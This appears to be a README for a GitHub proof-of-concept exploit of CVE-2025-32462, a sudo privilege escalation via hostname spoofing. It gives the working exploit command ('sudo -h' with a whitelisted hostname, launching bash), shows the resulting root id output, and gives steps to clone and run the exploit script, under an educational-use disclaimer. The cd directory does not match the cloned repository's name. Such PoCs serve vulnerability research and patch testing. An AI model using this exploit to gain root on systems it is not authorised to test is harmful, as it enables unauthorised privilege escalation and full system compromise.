
PoC exploit for CVE-2025-32462, a sudo privilege escalation via hostname spoofing. Demonstrates bypassing hostname-based restrictions to gain root access on vulnerable systems (< 1.9.17).
Hostname Spoofing Privilege Escalation (CVE-2025-32462)
"You take the blue pill... the story ends. You take the red pill... you get root."
This exploit demonstrates a privilege escalation vulnerability in sudo (CVE-2025-32462) where hostname-based restrictions can be bypassed using the -h flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.
[user@matrix-node]$ sudo -h zion-core bash # Spoof whitelisted hostname
[root@matrix-node]# id # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)
Clone repository:
git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape
Make executable and run:
chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh
Follow interactive prompts to demonstrate:
For educational/research purposes only. Use only on systems you own or have permission to test.